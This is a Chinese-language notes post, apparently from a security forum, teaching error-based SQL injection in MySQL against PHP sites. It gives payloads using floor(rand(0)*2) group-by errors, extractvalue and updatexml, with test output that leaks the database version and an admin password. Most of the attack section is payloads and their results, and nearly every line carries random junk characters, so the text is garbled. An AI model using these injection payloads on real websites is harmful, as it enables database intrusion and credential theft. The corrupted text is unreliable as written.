放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。$ _' I C$ x" r/ E8 z4 U+ s
实际测试环境:4 ^1 j9 E7 b/ Y: ?4 m+ X1 Z
, N6 w O9 J8 M& r$ H 3 I& ?) O7 g8 F6 h
mysql> show tables;9 q& p9 s/ T) Y! I8 J4 p
+----------------+
" @3 \( } j5 Z8 _! `! R| Tables_in_test |
8 M' q4 X' S5 a5 f# G+ W+----------------+. ]' S+ A5 @0 F: Y9 h& x7 }; C
| admin |
7 q1 z! B% G8 n% r# h2 v| article |4 i" q* o9 G8 A0 h0 i) B
+----------------+
4 F, R7 ~4 i0 B. Y3 U U \$ ]9 p ! f2 P& Y$ A& @. S
3 G; [ J) ]7 A- u
: j7 h4 N2 r) \3 F! r' i9 @mysql> describe admin;! b# ?- e" X+ D/ F
+-------+------------------+------+-----+---------+----------------+
5 g5 ~. L4 t5 Q. ?% M| Field | Type | Null | Key | Default | Extra |
S. c1 v# k, W' c5 z- {: i+-------+------------------+------+-----+---------+----------------+- X# J" G( n" ^0 c# b& k- J
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
6 k' v! B0 x5 Y: i i9 j5 _0 B| user | varchar(50) | NO | | NULL | |; d- d% v) H1 ` q- V
| pass | varchar(50) | NO | | NULL | |
5 I& T. j! Q" |& S; I' f+-------+------------------+------+-----+---------+----------------+! F* x3 W5 J# A! @! d7 L9 F
9 l H9 N7 j. c u( L& F1 W
@5 k8 Y9 \, K d/ j4 {) q
5 H. c/ k( T# F* E0 nmysql> describe article;
. |& x7 U! z/ `9 F4 Y+---------+------------------+------+-----+---------+----------------+
# `/ |. |2 ]! A* }: h| Field | Type | Null | Key | Default | Extra |* B6 j$ |& V9 h. d+ Y3 X- C
+---------+------------------+------+-----+---------+----------------+2 y3 ]$ R/ z7 P1 N
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
4 m) S7 V# u4 C: F! k7 l7 z| title | varchar(50) | NO | | NULL | |% u1 Z( L+ w; X6 v2 j5 A
| content | varchar(50) | NO | | NULL | |- p: x% D: ]2 ^& F# u
+---------+------------------+------+-----+---------+----------------+
( P& k/ B! q/ {+ A8 C1、通过floor报错
5 f" V6 y9 v) [8 p+ D l1 {可以通过如下一些利用代码
1 ~" J& ^& [- F" O- _# B' k7 u 2 o/ T4 t; w3 U9 V
1 ?5 ^1 A9 D% ]) ], X1 i" rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
( U1 _2 X. [ a2 r- v5 Dfrom information_schema.tables group by x)a);
- h3 t; L9 @/ z: V
: _! n; F# X t0 E
9 j* m- V8 n Q1 q2 q9 Eand (select count(*) from (select 1 union select null union select !1)x
4 j3 B+ h, T9 }+ [7 Bgroup by concat((select table_name from information_schema.tables limit 1),
3 f- ^7 w# F3 O& e) O. Nfloor(rand(0)*2)));1 e) n7 X* m8 E2 o
举例如下:
% s$ e$ V9 |; O' `首先进行正常查询:' b: U$ I$ S7 k X
: s! Q l' F! p- x1 Y
mysql> select * from article where id = 1;
& L7 [: u0 L( a7 n8 [+----+-------+---------+
i- l7 z- z5 A. e2 o& M8 b% @* R| id | title | content |
$ C) H" r! I; J, G" t O, \# s+----+-------+---------+
, w4 ~, B' P4 p! a. [0 b2 P* I$ R| 1 | test | do it |
) Z: a" r5 Z5 r. Q- y9 L+----+-------+---------+
4 J$ ~+ d% J }: D, _假如id输入存在注入的话,可以通过如下语句进行报错。
4 U$ h" \7 ^0 V5 X5 R r( m7 J, r 9 E, @* V! T. C: D
0 C3 V) J4 K( t0 a' q, C5 s
mysql> select * from article where id = 1 and (select 1 from, U: N' _4 e' W S
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
/ J$ d; e( B% y: e1 w4 Z/ W: fERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'5 ?4 A: @- a! X( z. m
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。1 Z: ^6 Z l: [
例如我们需要查询管理员用户名和密码:
/ Y5 R- i& W- b1 B9 I# a7 E* \6 o4 NMethod1:" [7 g7 P1 M1 S: ]& r
" T. A, C& U, h% e) O
- }: h- Q9 R7 z3 l [0 p/ u
mysql> select * from article where id = 1 and (select 1 from
, W+ h. _" Q2 S& v6 v# c(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x3 A, H: O& l4 @ `' _/ b
from information_schema.tables group by x)a);# d$ o2 {+ a H$ {5 q( P
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
# J8 n; m( O4 j+ N" s5 P+ ^Method2:" U/ r/ i2 a3 o7 U& s
; ]6 q% E' z2 Z! c; z& C
, L) ~% E' Z% X: J3 @mysql> select * from article where id = 1 and (select count(*)
9 w% b# i h1 j$ S cfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
+ x6 ^' B" n3 l! P4 afloor(rand(0)*2)));( n g7 w1 `) i6 S: D
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'0 A8 p# f* c) p8 q
2、ExtractValue% Z1 K1 Y% g4 Q# m9 C* ]
测试语句如下; [5 Y g8 l/ \ t; K
8 I" H# d& c7 G
. Q5 _& }/ p5 I3 T4 D% r0 s7 Y
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));- i8 C# @( |* I/ T a+ F+ \
实际测试过程
4 ^, n/ H5 p* `; e
/ L0 O4 b' C) o7 X1 r5 S' U
2 Q# c7 D1 e" p2 b+ U& X8 M+ Hmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,, m5 [. |) c/ Q: w2 w" ?
(select pass from admin limit 1)));--
7 @9 C/ I# W' B D4 B+ k- K s) CERROR 1105 (HY000): XPATH syntax error: '\admin888'
( x, s! z3 ~* `- d- g+ H& [+ ~3、UpdateXml6 S) e: P* C* i& m; V1 n
测试语句
, u/ `! X2 Y5 j6 |' `9 N3 m , w( R0 W: o& u& v
- V( I: G( n! R R2 nand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
3 V7 r6 F7 I2 }- [' K( M7 D实际测试过程5 v3 d) b- `# h8 J% e
Q) I9 z* @& v5 x
3 Z: g6 q6 x4 v- N9 _; R
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,5 g% H. o1 r9 C1 r
(select pass from admin limit 1),0x5e24),1));2 t) e m2 b J' |/ B; ~! W3 `
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'1 A0 u, z7 l! ^4 \! Q7 y7 K
All, thanks foreign guys.$ a! G- m! E+ r- {; L: Y
4 C' H b: g2 L5 y! `7 ?, Z
! a, ~* O! a/ }" |- e( I0 ]* S
|